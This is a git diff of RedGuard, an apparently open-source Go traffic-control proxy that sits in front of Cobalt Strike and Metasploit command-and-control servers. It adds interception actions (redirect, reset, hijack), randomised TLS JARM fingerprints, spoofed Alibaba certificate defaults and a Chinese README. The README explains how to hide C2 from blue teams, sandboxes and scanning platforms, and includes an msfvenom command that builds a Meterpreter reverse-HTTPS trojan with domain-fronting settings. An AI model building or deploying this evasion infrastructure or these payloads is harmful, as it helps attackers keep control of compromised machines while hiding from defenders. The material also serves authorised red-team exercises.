// redirect
|
||||
case "redirect":
|
||||
http.Redirect(write, req, redirectURL, http.StatusTemporaryRedirect)
|
||||
goto REDIRECT
|
||||
// reset Turning off the HTTP response
|
||||
case "reset":
|
||||
isDrop = true
|
||||
// proxy Hijacking target requests response information
|
||||
case "proxy":
|
||||
break
|
||||
}
|
||||
// Determine whether to redirect or intercept intercepted traffic
|
||||
proxy, _ = NewProxy(redirectURL, isDrop)
|
||||
// Unauthorized access is redirected to the specified URL
|
||||
proxy.ServeHTTP(write, req)
|
||||
REDIRECT:
|
||||
// REDIRECT Request
|
||||
logger.Alertf("[%s] Source IP: %s -> Destination Site: %s", strings.ToUpper(dropAction), ip, redirectURL)
|
||||
}
|
||||
|
||||
// ProxyManger Initialize the reverse proxy and pass in the address of the real back-end service
|
||||
@@ -118,8 +146,12 @@ LOOK:
|
||||
// @param port string reverse proxy listening port
|
||||
// @param pattern string pattern associated with the listening port type
|
||||
func ProxyManger(action, port, pattern string) {
|
||||
var (
|
||||
handle = &baseHandle{}
|
||||
config = &tls.Config{} // Example Initialize TLS config
|
||||
_isHasCert, _ = strconv.ParseBool(lib.ReadConfig("cert", "HasCert", lib.InitConfig()))
|
||||
)
|
||||
_startUp.Lock() // 我知道这可能是一个bug哈哈哈，但是它可能不影响什么，就不修了。
|
||||
handle := &baseHandle{}
|
||||
http.Handle(pattern, handle)
|
||||
// Cancels the validity verification of the destination TLS certificate
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{
|
||||
@@ -128,10 +160,9 @@ func ProxyManger(action, port, pattern string) {
|
||||
// Disable client connection caching to connection pools
|
||||
http.DefaultTransport.(*http.Transport).DisableKeepAlives = true
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
server := &http.Server{
|
||||
Addr: port, // proxy port
|
||||
Handler: handle, // Cache structure
|
||||
TLSConfig: &tls.Config{
|
||||
if !_isHasCert {
|
||||
config = &tls.Config{
|
||||
// JARM FingerPrint Random
|
||||
CipherSuites: lib.MicsSlice([]uint16{
|
||||
0x0005, 0x000a, 0x002f,
|
||||
0x0035, 0x003c, 0x009c,
|
||||
@@ -139,7 +170,12 @@ func ProxyManger(action, port, pattern string) {
|
||||
0xc013, 0xc014, 0xc027,
|
||||
0xc02f, 0xc030, 0xcca8,
|
||||
}, rand.Intn(2)+1),
|
||||
},
|
||||
}
|
||||
}
|
||||
server := &http.Server{
|
||||
Addr: port, // proxy port
|
||||
Handler: handle, // Cache structure
|
||||
TLSConfig: config, // TLS Server Config
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
|
||||
}
|
||||
logger.Warningf("Proxy Listen Port %s (%s)", port, action)
|
||||
|
||||
+2
-1
@@ -21,12 +21,13 @@ func CmdParse(parse *parameter.Parses, cert *parameter.Cert, proxy *parameter.Pr
|
||||
flag.StringVar(&cert.Country, "country", `CN`, `Cert Country`)
|
||||
flag.StringVar(&cert.CommonName, "common", `*.aliyun.com`, `Cert CommonName`)
|
||||
flag.StringVar(&cert.Organization, "organization", `Alibaba (China) Technology Co., Ltd.`, `Cert Organization`)
|
||||
flag.StringVar(&cert.HasCert, "HasCert", `false`, `Whether to use the certificate you have applied for`)
|
||||
flag.StringVar(&cert.DNSNameTo, "dns", `*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com`, `Cert DNSName`)
|
||||
flag.StringVar(&cert.Locality, "locality", `HangZhou`, `Cert Locality`)
|
||||
flag.StringVar(&proxy.HostTarget, "host", `{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}`, `Set Proxy HostTarget`)
|
||||
flag.StringVar(&proxy.HTTPSPort, "https", `:443`, `Set Proxy HTTPS Port`)
|
||||
flag.StringVar(&proxy.HTTPort, "http", `:80`, `Set Proxy HTTP Port`)
|
||||
flag.StringVar(&proxy.DROP, "drop", "false", `Proxy Filter Enable DROP`)
|
||||
flag.StringVar(&proxy.DropAction, "DropAction", "redirect", `RedGuard interception action`)
|
||||
flag.StringVar(&proxy.Redirect, "redirect", `https://360.net`, `Proxy redirect URL`)
|
||||
flag.StringVar(&proxy.AllowLocation, "allowLocation", "*", "Proxy Requests Allow Location")
|
||||
flag.StringVar(&proxy.AllowIP, "allowIP", "*", "Proxy Requests Allow IP")
|
||||
|
||||
@@ -20,6 +20,7 @@ type Cert struct {
|
||||
Locality string
|
||||
Organization string
|
||||
DNSNameTo string
|
||||
HasCert string
|
||||
DNSName []string
|
||||
}
|
||||
|
||||
@@ -27,7 +28,7 @@ type Proxy struct {
|
||||
HostTarget string
|
||||
HTTPSPort string
|
||||
HTTPort string
|
||||
DROP string
|
||||
DropAction string
|
||||
Redirect string
|
||||
AllowLocation string
|
||||
AllowIP string
|
||||
|
||||
+69
-27
@@ -2,10 +2,10 @@
|
||||
|
||||
[](https://github.com/knownsec/Kunyu) [](https://github.com/knownsec/Kunyu/issues) [](https://github.com/knownsec/Kunyu/releases) [](https://github.com/wikiZ)
|
||||
|
||||
--------------
|
||||
|
||||
中文文档 | [English](https://github.com/wikiZ/RedGuard/blob/main/README.md)
|
||||
|
||||
|
||||
|
||||
# 0x00 介绍
|
||||
|
||||
## 工具介绍
|
||||
@@ -17,12 +17,13 @@ RedGuard是一个C2设施前置流量控制工具，可以避免Blue Team,AVS,ED
|
||||
## 应用场景
|
||||
|
||||
- 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
|
||||
- 防范云沙箱环境下针对木马样本的恶意分析
|
||||
- 根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析
|
||||
- 阻止恶意的请求来实施重放攻击，实现混淆上线的效果
|
||||
- 在明确上线服务器IP的情况下，以白名单的方式限制访问交互流量的请求
|
||||
- 防范网络空间测绘技术针对C2设施的扫描识别，并重定向或拦截扫描探针的流量
|
||||
- 支持对多个C2服务器的前置流量控制，并可实现域前置的效果实现负载均衡上线，达到隐匿的效果
|
||||
- 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
|
||||
- 在不更改源码的情况下，解决分阶段checksum8规则路径解析存在的强特征。
|
||||
- 通过目标请求的拦截日志分析蓝队溯源行为，可用于跟踪对等连接事件/问题
|
||||
- 具有自定义对样本合法交互的时间段进行设置，实现仅在工作时间段内进行流量交互的功能
|
||||
- Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求，并在违规情况下丢弃外发数据包（支持Malleable Profiles 4.0+）
|
||||
@@ -38,7 +39,7 @@ RedGuard是一个C2设施前置流量控制工具，可以避免Blue Team,AVS,ED
|
||||
git clone https://github.com/wikiZ/RedGuard.git
|
||||
cd RedGuard
|
||||
# 也可以使用upx压缩编译后的文件体积
|
||||
go build -ldflags "-s -w"
|
||||
go build -ldflags "-s -w" -trimpath
|
||||
# 赋予工具可执行权限，并进行初始化操作
|
||||
chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
@@ -50,11 +51,11 @@ chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
如下图，首先对RedGuard赋予可执行权限并进行初始化操作，第一次运行会在当前用户目录下生成配置文件，以实现灵活的功能配置，**配置文件名：.RedGuard_CobaltStrike.ini**。
|
||||
|
||||
|
||||
|
||||
|
||||
**配置文件内容：**
|
||||
|
||||
|
||||
|
||||
|
||||
cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息，proxy主要用于配置反向代理流量中的控制选项，具体使用会在下面进行详细讲解。
|
||||
|
||||
@@ -64,18 +65,29 @@ cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证
|
||||
openssl x509 -in ca.crt -noout -text
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
每次启动RedGuard都会更新随机TLS JARM指纹，防止被以此佐证C2设施。
|
||||
|
||||
|
||||
|
||||
在使用自己证书的情况下，到配置文件中修改HasCert参数为true，防止因为JARM混淆随机化导致的CipherSuites加密套件与自定义证书不兼容导致的无法正常通信问题。
|
||||
|
||||
```bash
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = false
|
||||
```
|
||||
|
||||
## RedGuard Usage
|
||||
|
||||
```bash
|
||||
root@VM-4-13-ubuntu:~# ./RedGuard -h
|
||||
|
||||
Usage of ./RedGuard:
|
||||
-DropAction string
|
||||
RedGuard interception action (default "redirect")
|
||||
-HasCert string
|
||||
Whether to use the certificate you have applied for (default "false")
|
||||
-allowIP string
|
||||
Proxy Requests Allow IP (default "*")
|
||||
-allowLocation string
|
||||
@@ -87,11 +99,9 @@ Usage of ./RedGuard:
|
||||
-country string
|
||||
Cert Country (default "CN")
|
||||
-dns string
|
||||
Cert DNSName
|
||||
-drop string
|
||||
Proxy Filter Enable DROP (default "false")
|
||||
Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com")
|
||||
-host string
|
||||
Set Proxy HostTarget
|
||||
Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}")
|
||||
-http string
|
||||
Set Proxy HTTP Port (default ":80")
|
||||
-https string
|
||||
@@ -124,7 +134,7 @@ Usage of ./RedGuard:
|
||||
|
||||
这里为了方便展示输出效果，实际使用可以通过`nohup ./RedGuard &`后台运行。
|
||||
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
@@ -132,7 +142,7 @@ Usage of ./RedGuard:
|
||||
|
||||
从上面的slice不难看出，360.net对应了代理到本地8080端口，360.com指向了本地的4433端口，且对应了使用的HTTP协议的不同，在后续上线中，需要注意监听器的协议类型需要和这里设置的保持一致，并设置对应HOST请求头。
|
||||
|
||||
|
||||
|
||||
|
||||
如上图，在未授权情况下，我们得到的响应信息也是重定向的站点返回信息。
|
||||
|
||||
@@ -144,12 +154,13 @@ Usage of ./RedGuard:
|
||||
|
||||
- **reset**：立即终止 TCP 连接。
|
||||
- **proxy**：从另一个网站获取响应，以尽可能接近地模仿克隆/劫持的网站。
|
||||
- **redirect**：重定向到指定网站返回HTTP状态码302，对重定向的网站无要求。
|
||||
|
||||
```bash
|
||||
# Determines whether to intercept intercepted traffic default false / true
|
||||
DROP = false
|
||||
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
Redirect = https://360.net
|
||||
```
|
||||
|
||||
配置文件中 **Redirect = URL** 指向的就是劫持的URL地址，RedGuard支持“热更改”，也就是说在工具通过nohup这种方式在后台运行的过程中，我们依旧可以通过修改配置文件的内容进行实时的功能启停。
|
||||
@@ -162,7 +173,7 @@ Redirect = https://360.net
|
||||
|
||||
而另一种拦截方式就是DROP，直接Close HTTP通信响应，通过设置 **DROP = true** 启用，具体拦截效果如下图：
|
||||
|
||||
|
||||
|
||||
|
||||
可以看到，没有获取到HTTP响应码，C2前置流量控制对非法请求直接close响应，在网络空间测绘的探测中，DROP的方式可以实现隐藏端口开放情况的作用，具体效果可以看下面的案例分析。
|
||||
|
||||
@@ -181,7 +192,7 @@ Port_HTTP = :80
|
||||
|
||||
通过目标请求的拦截日志分析蓝队溯源行为，可用于跟踪对等连接事件/问题，日志文件生成在运行RedGuard所在目录下，**文件名：RedGuard.log**。
|
||||
|
||||
|
||||
|
||||
|
||||
## 请求地域限制
|
||||
|
||||
@@ -194,7 +205,7 @@ P.S. 国内用户，不要使用**AllowLocation = 济南,beijing**这种方式
|
||||
AllowLocation = *
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
决定限制地域之前，可以通过以下命令手动查询IP地址归属地。
|
||||
|
||||
@@ -226,7 +237,7 @@ AllowLocation = *
|
||||
AllowIP = 127.0.0.1
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
如上图，我们限制仅允许127.0.0.1上线，那么其他IP的请求流量就会被拦截。
|
||||
|
||||
@@ -236,10 +247,10 @@ AllowIP = 127.0.0.1
|
||||
|
||||
```bash
|
||||
# Limit the time of requests example: AllowTime = 8:00 - 16:00
|
||||
AllowTime = 8:00 - 21：00
|
||||
AllowTime = 8:00 - 21:00
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
## Malleable Profile
|
||||
|
||||
@@ -250,7 +261,7 @@ RedGuard采用 Malleable C2 配置文件。然后，它解析提供的可延展
|
||||
MalleableFile = /root/cobaltstrike/Malleable.profile
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
风起编写的profile，推荐使用：
|
||||
|
||||
@@ -262,15 +273,19 @@ MalleableFile = /root/cobaltstrike/Malleable.profile
|
||||
|
||||
如下图所示，当我们的拦截规则设置为DROP的时候，空间测绘系统探针会对我们反向代理端口的/目录进行几次探测，理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求，所以均被Close HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。
|
||||
|
||||
|
||||
|
||||
|
||||
下图所示的流量也就是当拦截规则设置为Redirect时，我们会发现当测绘探针收到响应后会继续对我们进行目录扫描，UserAgent为随机，看起来符合正常流量的请求，但是也都成功被拦截了。
|
||||
|
||||
|
||||
|
||||
|
||||
**测绘平台 - 劫持响应拦截方式效果：**
|
||||
|
||||
|
||||
|
||||
**测绘平台 - 重定向拦截方式效果：**
|
||||
|
||||
|
||||
|
||||
|
||||
## 域前置
|
||||
|
||||
@@ -284,7 +299,7 @@ RedGuard是支持域前置的，在我看来一共有两种展现形式，一种
|
||||
|
||||
在自建域前置中，保持多个反向代理端口一致，HOST头一致指向后端真实的C2服务器监听端口。而这种方式，可以很好的隐藏我们的真实C2服务器，而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。
|
||||
|
||||
|
||||
|
||||
|
||||
这里可以通过多个节点服务器实现，在CS监听器HTTPS上线IP配置多个我们的节点IP。
|
||||
|
||||
@@ -308,6 +323,33 @@ RedGuard是支持域前置的，在我看来一共有两种展现形式，一种
|
||||
|
||||
对于监听器的设置上线端口设置为RedGuard反向代理端口，监听端口为本机实际上线端口。
|
||||
|
||||
## Metasploit上线
|
||||
|
||||
**生成木马**
|
||||
|
||||
```bash
|
||||
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
|
||||
-f exe -o ~/path/to/payload.exe
|
||||
```
|
||||
|
||||
当然作为域前置场景也可以把你的LHOST配置为任意使用该厂商CDN的域名，注意设置HttpHostHeader与RedGuard相符即可。
|
||||
|
||||
```bash
|
||||
setg OverrideLHOST 360.com
|
||||
setg OverrideLPORT 443
|
||||
setg OverrideRequestHost true
|
||||
```
|
||||
|
||||
请务必注意，该`OverrideRequestHost`设置必须设置为`true`。这是由于 Metasploit 在为暂存有效负载生成配置时默认处理传入 HTTP/S 请求的方式的一个怪癖。默认情况下，Metasploit 将传入请求的`Host`标头值（如果存在）用于第二阶段配置，而不是`LHOST`参数。因此，将生成阶段配置，以便将请求直接发送到您的隐藏域名，因为 CloudFront 在转发请求的`Host`标头中传递您的内部域。这显然不是我们所要求的。使用`OverrideRequestHost`配置值，我们可以强制 Metasploit 忽略传入`Host`的标头，而是使用`LHOST`指向原始 CloudFront 域的配置值。
|
||||
|
||||
监听器设置为实际上线端口，与RedGuard实际转发到的地址相匹配。
|
||||
|
||||
|
||||
|
||||
RedGuard接收到请求：
|
||||
|
||||
|
||||
|
||||
# 0x05 Loading
|
||||
|
||||
感谢各位用户的支持，RedGuard也会坚持进行完善更新的，希望 RedGuard 能够让更多安全从业者所知，工具参考了RedWarden的设计思想。
|
||||
|
||||
@@ -8,6 +8,7 @@ require (
|
||||
github.com/go-ini/ini v1.66.4
|
||||
github.com/go-resty/resty/v2 v2.7.0
|
||||
github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea
|
||||
github.com/sleeyax/ja3rp v0.0.1
|
||||
github.com/stretchr/testify v1.7.1 // indirect
|
||||
github.com/tidwall/gjson v1.14.1
|
||||
github.com/wxnacy/wgo v1.0.4
|
||||
|
||||
@@ -9,7 +9,6 @@ github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae h1:zzGwJfFlFGD94Cy
|
||||
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -31,6 +30,8 @@ github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea/go.mod h1:WBIWFH
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sleeyax/ja3rp v0.0.1 h1:axAQaWfz+YWTrE0kGAHNJXj730cLFV6ZRASPkR//76U=
|
||||
github.com/sleeyax/ja3rp v0.0.1/go.mod h1:LoKchsq6bTZIEeHoiSIARqr9TerxxOAM7OHk67Rz9oY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
@@ -44,21 +45,25 @@ github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/wxnacy/wgo v1.0.4 h1:UEkzjlW3pMAXcTUCgMekrCvFYLKKwc0p5GAQrMIphs8=
|
||||
github.com/wxnacy/wgo v1.0.4/go.mod h1:8hqUwCgvMGgAIr4MLIeFur2YXS/Ns3vbyx5abx0e8iM=
|
||||
golang.org/x/net v0.0.0-20211029224645-99673261e6eb h1:pirldcYWx7rx7kE5r+9WsOXPXK0+WH5+uZ7uPmJ44uM=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871 h1:/pEO3GD/ABYAjuakUS6xSEmmlyVS4kxBNkeA9tLJiTI=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9 h1:0qxwC5n+ttVOINCBeRHO0nq9X7uy8SDsPoi5OaCdIEI=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
@@ -75,12 +75,12 @@ func UpdateConfig(cert *parameter.Cert, proxy *parameter.Proxy) {
|
||||
var (
|
||||
_certList = map[string]string{
|
||||
"Locality": cert.Locality, "Country": cert.Country, "Organization": cert.Organization,
|
||||
"CommonName": cert.CommonName, "DNSName": cert.DNSNameTo,
|
||||
"CommonName": cert.CommonName, "DNSName": cert.DNSNameTo, "HasCert": cert.HasCert,
|
||||
}
|
||||
_proxyLIst = map[string]string{
|
||||
"Port_HTTP": proxy.HTTPort, "Port_HTTPS": proxy.HTTPSPort, "Redirect": proxy.Redirect,
|
||||
"AllowIP": proxy.AllowIP, "AllowTime": proxy.AllowTime, "AllowLocation": proxy.AllowLocation,
|
||||
"DROP": proxy.DROP, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile,
|
||||
"DropAction": proxy.DropAction, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile,
|
||||
}
|
||||
cfg = InitConfig()
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user